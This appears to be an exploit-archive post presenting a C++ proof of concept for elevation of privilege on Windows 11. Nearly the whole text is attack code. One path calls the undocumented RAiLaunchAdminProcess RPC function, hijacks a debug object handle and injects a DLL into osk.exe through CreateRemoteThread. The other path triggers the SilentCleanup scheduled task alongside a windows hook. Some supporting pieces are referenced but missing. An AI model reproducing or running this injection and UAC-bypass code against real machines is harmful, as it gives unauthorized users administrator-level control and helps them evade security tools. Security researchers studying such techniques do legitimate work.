============================================================================================================================================= | # Title : Microsoft Windows 11 build 10.0.22631.6199 Dual-Path Elevation of (EoP) via Undocumented RPC and Debugging Objects | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : System built‑in component. No standalone download available. | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212252/ [+] Summary : This code represents an advanced, multi-stage Elevation of Privilege (EoP) utility for the Windows operating system, designed to bypass security controls and execute arbitrary code with high privileges. It utilizes two distinct, highly technical paths, selectable based on command-line arguments: [+] Path 1: RPC and Debug Object Injection (ElevateToHighIL) [+] RPC Exploitation: It binds to an undocumented RPC interface (likely the RAi Service used by Windows security components) and calls the function RAiLaunchAdminProcess. [+] Debugging Control: It launches a target system process (e.g., osk.exe) using the DEBUG_PROCESS flag. It then uses the undocumented function NtQueryInformationProcess to steal the process's Debug Object Handle and attaches it to the attacker's thread using DbgUiSetThreadDebugObject. [+] High-Integrity Execution: This grants the low-privilege process complete control, enabling a subsequent DLL injection (using LoadLibraryW via CreateRemoteThread) to load and execute the payload function StartProcess inside the high-integrity system process. [+] Path 2: Task Scheduler Exploitation (ElevateToAdmin) [+] SilentCleanup Abuse: It uses the COM interface for the Task Scheduler to programmatically connect and trigger the highly-privileged scheduled task "SilentCleanup". [+] Hooking Integration: This path explicitly relies on the WindowsHooker class calling the external SetupHook() function. This suggests a supporting component (like the DLL) utilizes a system hook (e.g., a global keyboard hook) to intercept a high-integrity process launched by SilentCleanup and inject the final malicious code. Conclusion: The utility demonstrates sophisticated, kernel-adjacent techniques (undocumented APIs, RPC interfaces, and direct Debug Object manipulation) characteristic of advanced persistent threats (APTs) or professional Red Team tools designed to defeat modern endpoint detection and response (EDR) solutions. [+] POC : // ========================================== // headers and libraries // ========================================== #pragma comment(lib, "rpcrt4.lib") #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "pathcch.lib") #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib") #pragma comment(lib, "ole32.lib") #pragma comment(lib, "oleaut32.lib") #include #include #include #include #include #include #include #include #include #include #include #include #include // ========================================== // Forward declarations for external functions // ========================================== extern "C" void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes); extern "C" void __RPC_USER midl_user_free(void __RPC_FAR* p); extern "C" void DbgUiSetThreadDebugObject(HANDLE DebugObject); extern "C" NTSTATUS DbgUiStopDebugging(HANDLE Process); // ========================================== // Structures for RPC // ========================================== typedef struct _APP_STARTUP_INFO {     ULONG Size;     ULONG DesktopLength;     ULONG DesktopOffset;     ULONG TitleLength;     ULONG TitleOffset;     ULONG Reserved1;     ULONG Reserved2; } APP_STARTUP_INFO, *PAPP_STARTUP_INFO; typedef struct _APP_PROCESS_INFORMATION {     ULONG ProcessHandle;     ULONG ThreadHandle;     ULONG ProcessId;     ULONG ThreadId; } APP_PROCESS_INFORMATION, *PAPP_PROCESS_INFORMATION; // ========================================== // RPC Interface ID (adjust as needed) // ========================================== // You need to define this properly based on your RPC interface extern "C" {     extern RPC_IF_HANDLE intf_201ef99a_7fa0_444c_9399_19ba84f12a1a_v1_0_c_ifspec; } // ========================================== // MIDL memory allocation functions // ========================================== extern "C" void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) {     return malloc(cBytes); } extern "C" void __RPC_USER midl_user_free(void __RPC_FAR* p) {     free(p); } // ========================================== // ScopedHandle class // ========================================== class ScopedHandle { private:     HANDLE _handle; public:     ScopedHandle() : _handle(nullptr) {}     ScopedHandle(HANDLE handle) : _handle(handle) {}          ~ScopedHandle() {         if (_handle && _handle != INVALID_HANDLE_VALUE) {             CloseHandle(_handle);         }     }          // delete copy     ScopedHandle(const ScopedHandle&) = delete;     ScopedHandle& operator=(const ScopedHandle&) = delete;          // move constructor     ScopedHandle(ScopedHandle&& other) noexcept {         _handle = other._handle;         other._handle = nullptr;     }          // move assignment     ScopedHandle& operator=(ScopedHandle&& other) noexcept {         if (this != &other) {             if (_handle && _handle != INVALID_HANDLE_VALUE) {                 CloseHandle(_handle);             }             _handle = other._handle;             other._handle = nullptr;         }         return *this;     }          HANDLE* ptr() { return &_handle; }     HANDLE get() const { return _handle; }     bool valid() const { return _handle && _handle != INVALID_HANDLE_VALUE; }          HANDLE detach() {         HANDLE h = _handle;         _handle = nullptr;         return h;     }          explicit operator bool() const { return valid(); } }; // ========================================== // Utility functions // ========================================== static std::wstring GetExecutablePath() {     WCHAR path[MAX_PATH];     DWORD len = MAX_PATH;          if (!QueryFullProcessImageNameW(GetCurrentProcess(), 0, path, &len)) {         printf("Error querying process path: %lu\n", GetLastError());         return L"";     }     return std::wstring(path); } static std::wstring GetDllPath() {     std::wstring exe = GetExecutablePath();     if (exe.empty()) {         return L"";     }          // Extract directory     size_t lastSlash = exe.find_last_of(L'\\');     if (lastSlash == std::wstring::npos) {         return L"";     }          std::wstring dir = exe.substr(0, lastSlash + 1);     return dir + L"StartProcess.dll"; } static ScopedHandle OpenToken(HANDLE process) {     ScopedHandle token;     if (!OpenProcessToken(process, TOKEN_QUERY, token.ptr())) {         printf("Error opening process token: %lu\n", GetLastError());         return ScopedHandle();     }     return token; } // ========================================== // RPC Binding // ========================================== static handle_t bind_handle() {     RPC_STATUS status;     RPC_WSTR stringBinding = nullptr;     handle_t bindingHandle = nullptr;          status = RpcStringBindingComposeW(         nullptr,         (RPC_WSTR)L"ncalrpc",         nullptr,         nullptr,         nullptr,         &stringBinding);          if (status != RPC_S_OK) {         printf("RpcStringBindingCompose failed: %d\n", status);         return nullptr;     }          status = RpcBindingFromStringBindingW(stringBinding, &bindingHandle);     RpcStringFreeW(&stringBinding);          if (status != RPC_S_OK) {         printf("RpcBindingFromStringBinding failed: %d\n", status);         return nullptr;     }          // Try to resolve the binding     status = RpcEpResolveBinding(bindingHandle, intf_201ef99a_7fa0_444c_9399_19ba84f12a1a_v1_0_c_ifspec);     if (status != RPC_S_OK) {         printf("RpcEpResolveBinding failed: %d\n", status);         RpcBindingFree(&bindingHandle);         return nullptr;     }          return bindingHandle; } static handle_t rpc_handle = bind_handle(); // ========================================== // RPC Function prototypes // ========================================== extern "C" {     long RAiLaunchAdminProcess(         handle_t BindingHandle,         const wchar_t* ExecutablePath,         const wchar_t* CommandLine,         long Elevate,         unsigned long CreationFlags,         const wchar_t* CurrentDirectory,         const wchar_t* Desktop,         APP_STARTUP_INFO* StartupInfo,         unsigned long Reserved1,         unsigned long Timeout,         APP_PROCESS_INFORMATION* ProcessInformation,         long* ProcessType     ); } // ========================================== // ProcessInformation struct // ========================================== struct ProcessInformation {     ScopedHandle process;     ScopedHandle thread;          ProcessInformation(const APP_PROCESS_INFORMATION& procinfo) :         process(reinterpret_cast(procinfo.ProcessHandle)),         thread(reinterpret_cast(procinfo.ThreadHandle))     {}          ProcessInformation(HANDLE hprocess, HANDLE hthread) :         process(hprocess),         thread(hthread)     {}          void StopDebugging() const {         NTSTATUS status = DbgUiStopDebugging(process.get());         if (!NT_SUCCESS(status)) {             printf("Error stopping debugging: %08X\n", status);         }     }          void Terminate(DWORD exitcode = 1) const {         if (!TerminateProcess(process.get(), exitcode)) {             printf("Error terminating process: %lu\n", GetLastError());         }     }          void Resume() const {         ResumeThread(thread.get());     }          DWORD GetProcessId() const {         return GetProcessId(process.get());     }          DWORD GetThreadId() const {         return GetThreadId(thread.get());     } }; // ========================================== // Debug Object functions // ========================================== static ScopedHandle GetDebugObjectHandle(HANDLE process) {     HANDLE dbg = nullptr;     ULONG len = 0;          NTSTATUS status = NtQueryInformationProcess(         process,         static_cast(30),  // ProcessDebugObjectHandle         &dbg,         sizeof(dbg),         &len     );          if (!NT_SUCCESS(status)) {         printf("Error getting debug object handle: %08X\n", status);         return ScopedHandle();     }          return ScopedHandle(dbg); } static int LaunchAdminProcessRPC(     LPCWSTR path,     APP_PROCESS_INFORMATION& procinfo,     bool elevate) {     RpcTryExcept     {         APP_STARTUP_INFO start_info = {};         start_info.Size = sizeof(start_info);         long type = 0;                  return RAiLaunchAdminProcess(             rpc_handle,             path,             L"",             elevate ? 1 : 0,             DEBUG_PROCESS | CREATE_UNICODE_ENVIRONMENT,             L"C:\\Windows\\System32",             L"WinSta0\\Default",             &start_info,             0,             INFINITE,             &procinfo,             &type         );     }     RpcExcept(1)     {         printf("RPC exception: %d\n", RpcExceptionCode());         return RpcExceptionCode();     }     RpcEndExcept          return -1; } static ProcessInformation LaunchAdminProcess(LPCWSTR path, bool elevate) {     APP_PROCESS_INFORMATION procinfo = {};          int res = LaunchAdminProcessRPC(path, procinfo, elevate);     if (res == 0) {         return ProcessInformation(procinfo);     }          printf("Error creating process via RPC: %d\n", res);     throw std::runtime_error("Failed to launch admin process"); } // ========================================== // Setup Debug Object // ========================================== static void SetupDebugObject() {     std::wstring exePath = GetExecutablePath();     if (exePath.empty()) {         throw std::runtime_error("Failed to get executable path");     }          ProcessInformation procinfo = LaunchAdminProcess(exePath.c_str(), false);          ScopedHandle debug_obj = GetDebugObjectHandle(procinfo.process.get());     if (!debug_obj.valid()) {         procinfo.Terminate();         throw std::runtime_error("Failed to get debug object");     }          printf("Got debug object: %p\n", debug_obj.get());          DbgUiSetThreadDebugObject(debug_obj.detach());          procinfo.Terminate(1);     procinfo.StopDebugging(); } // ========================================== // Get Privileged Process // ========================================== static ProcessInformation GetPrivilegedProcess() {     std::wstring oskPath = L"C:\\Windows\\System32\\osk.exe";     ProcessInformation procinfo = LaunchAdminProcess(oskPath.c_str(), false);          DEBUG_EVENT debug_event = {};          for (;;) {         if (!WaitForDebugEvent(&debug_event, INFINITE)) {             printf("Error waiting for process debug event: %lu\n", GetLastError());             throw std::runtime_error("WaitForDebugEvent failed");         }                  if (debug_event.dwDebugEventCode != CREATE_PROCESS_DEBUG_EVENT) {             ContinueDebugEvent(debug_event.dwProcessId, debug_event.dwThreadId, DBG_CONTINUE);             continue;         }                  // Duplicate process handle         ScopedHandle new_process;         if (!DuplicateHandle(                 GetCurrentProcess(),                 debug_event.u.CreateProcessInfo.hProcess,                 GetCurrentProcess(),                 new_process.ptr(),                 0,                 FALSE,                 DUPLICATE_SAME_ACCESS))         {             printf("Error duplicating process handle: %lu\n", GetLastError());             ContinueDebugEvent(debug_event.dwProcessId, debug_event.dwThreadId, DBG_CONTINUE);             continue;         }                  // Duplicate thread handle         ScopedHandle new_thread;         if (!DuplicateHandle(                 GetCurrentProcess(),                 debug_event.u.CreateProcessInfo.hThread,                 GetCurrentProcess(),                 new_thread.ptr(),                 0,                 FALSE,                 DUPLICATE_SAME_ACCESS))         {             printf("Error duplicating thread handle: %lu\n", GetLastError());             ContinueDebugEvent(debug_event.dwProcessId, debug_event.dwThreadId, DBG_CONTINUE);             continue;         }                  ContinueDebugEvent(debug_event.dwProcessId, debug_event.dwThreadId, DBG_CONTINUE);         return ProcessInformation(new_process.detach(), new_thread.detach());     } } // ========================================== // DLL Injection functions // ========================================== static DWORD RunThread(HANDLE process, HMODULE hMod, LPCSTR name, const std::wstring& value) {     if (!process || process == INVALID_HANDLE_VALUE) {         printf("Invalid process handle\n");         return (DWORD)-1;     }          size_t value_len = (value.size() + 1) * sizeof(wchar_t);          PVOID buffer = VirtualAllocEx(process, nullptr, value_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);     if (!buffer) {         printf("Error allocating buffer: %lu\n", GetLastError());         return (DWORD)-1;     }          printf("Buffer in privileged process: %p\n", buffer);          SIZE_T bytes_written = 0;     if (!WriteProcessMemory(process, buffer, value.c_str(), value_len, &bytes_written)) {         printf("Error writing buffer: %lu\n", GetLastError());         VirtualFreeEx(process, buffer, 0, MEM_RELEASE);         return (DWORD)-1;     }          FARPROC func = GetProcAddress(hMod, name);     if (!func) {         printf("Error getting procedure '%s' from module: %lu\n", name, GetLastError());         VirtualFreeEx(process, buffer, 0, MEM_RELEASE);         return (DWORD)-1;     }          DWORD thread_id = 0;     ScopedHandle thread(CreateRemoteThread(         process,          nullptr,          0,         reinterpret_cast(func),          buffer,          0,          &thread_id     ));          if (!thread.valid()) {         printf("Error creating remote thread: %lu\n", GetLastError());         VirtualFreeEx(process, buffer, 0, MEM_RELEASE);         return (DWORD)-1;     }          WaitForSingleObject(thread.get(), 10000);          DWORD exit_code = (DWORD)-1;     if (!GetExitCodeThread(thread.get(), &exit_code)) {         printf("Error getting thread exit code: %lu\n", GetLastError());     }          VirtualFreeEx(process, buffer, 0, MEM_RELEASE);     return exit_code; } static void InjectDll(const ProcessInformation& procinfo) {     std::wstring dllpath = GetDllPath();     std::wstring exepath = GetExecutablePath();          if (dllpath.empty() || exepath.empty()) {         throw std::runtime_error("Failed to get DLL or executable path");     }          printf("DLL Path: %ls\n", dllpath.c_str());     printf("EXE Path: %ls\n", exepath.c_str());          // Load the DLL locally first to get function addresses     HMODULE hMod = LoadLibraryW(dllpath.c_str());     if (!hMod) {         printf("Error loading library locally: %lu\n", GetLastError());         throw std::runtime_error("Failed to load DLL locally");     }          // Load the DLL in the remote process     DWORD result = RunThread(procinfo.process.get(), GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW", dllpath);     printf("LoadLibraryW result: %lu\n", result);          if (result == (DWORD)-1) {         FreeLibrary(hMod);         throw std::runtime_error("Failed to load DLL in remote process");     }          // Call StartProcess in the remote DLL     result = RunThread(procinfo.process.get(), hMod, "StartProcess", exepath);     printf("StartProcess result: %lu\n", result);          FreeLibrary(hMod);          if (result == (DWORD)-1) {         throw std::runtime_error("Failed to call StartProcess in remote process");     } } static void ElevateToHighIL() {     SetupDebugObject();     ProcessInformation procinfo = GetPrivilegedProcess();     procinfo.StopDebugging();     InjectDll(procinfo); } // ========================================== // COM Helper Classes // ========================================== class CoInit { public:     CoInit() {         HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);         if (FAILED(hr)) {             printf("Error initializing COM: %08X\n", hr);             throw std::runtime_error("COM initialization failed");         }                  hr = CoInitializeSecurity(             nullptr,             -1,             nullptr,             nullptr,             RPC_C_AUTHN_LEVEL_PKT_PRIVACY,             RPC_C_IMP_LEVEL_IMPERSONATE,             nullptr,             EOAC_NONE,             nullptr);                      if (FAILED(hr)) {             printf("Error initializing COM security: %08X\n", hr);             CoUninitialize();             throw std::runtime_error("COM security initialization failed");         }     }          ~CoInit() {         CoUninitialize();     } }; // Forward declarations for hook functions extern "C" __declspec(dllimport) bool SetupHook(); extern "C" __declspec(dllimport) bool RemoveHook(); class WindowsHooker { public:     WindowsHooker() {         if (!SetupHook()) {             printf("Error setting up windows hook\n");             throw std::runtime_error("Failed to setup hook");         }     }          ~WindowsHooker() {         RemoveHook();     } }; // ========================================== // Task Scheduler Elevation // ========================================== _COM_SMARTPTR_TYPEDEF(ITaskService, __uuidof(ITaskService)); _COM_SMARTPTR_TYPEDEF(ITaskFolder, __uuidof(ITaskFolder)); _COM_SMARTPTR_TYPEDEF(IRegisteredTask, __uuidof(IRegisteredTask)); _COM_SMARTPTR_TYPEDEF(IRunningTask, __uuidof(IRunningTask)); static void ElevateToAdmin() {     CoInit ci;     WindowsHooker hooker;          ITaskServicePtr pService;     HRESULT hr = CoCreateInstance(         CLSID_TaskScheduler,         nullptr,         CLSCTX_INPROC_SERVER,         IID_PPV_ARGS(&pService));              if (FAILED(hr)) {         printf("Failed to create ITaskService: %08X\n", hr);         return;     }          hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());     if (FAILED(hr)) {         printf("ITaskService::Connect failed: %08X\n", hr);         return;     }          ITaskFolderPtr pRootFolder;     hr = pService->GetFolder(_bstr_t(L"\\Microsoft\\Windows\\DiskCleanup"), &pRootFolder);     if (FAILED(hr)) {         printf("Cannot get DiskCleanup folder: %08X\n", hr);         return;     }          IRegisteredTaskPtr task;     hr = pRootFolder->GetTask(_bstr_t(L"SilentCleanup"), &task);     if (FAILED(hr)) {         printf("Cannot get SilentCleanup task: %08X\n", hr);         return;     }          IRunningTaskPtr running;     hr = task->RunEx(_variant_t(), TASK_RUN_IGNORE_CONSTRAINTS, -1, nullptr, &running);     if (FAILED(hr)) {         printf("Cannot start SilentCleanup task: %08X\n", hr);         return;     }          int count = 0;     while (count < 10) {         Sleep(500);                  TASK_STATE state;         hr = task->get_State(&state);         if (FAILED(hr)) {             printf("Failed to get task state: %08X\n", hr);             break;         }                  if (state != TASK_STATE_RUNNING) {             break;         }                  count++;     }          printf("Task execution completed\n"); } // ========================================== // Main Function // ========================================== int wmain(int argc, wchar_t** argv) {     printf("Starting elevation process...\n");          try {         if (argc > 1) {             printf("Elevating via Task Scheduler...\n");             ElevateToAdmin();         }         else {             printf("No arguments provided. Using debug object method...\n");             ElevateToHighIL();         }                  printf("Elevation completed successfully\n");     }     catch (const std::exception& e) {         printf("Exception occurred: %s\n", e.what());         return 1;     }     catch (...) {         printf("Unknown exception occurred\n");         return 1;     }          return 0; } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================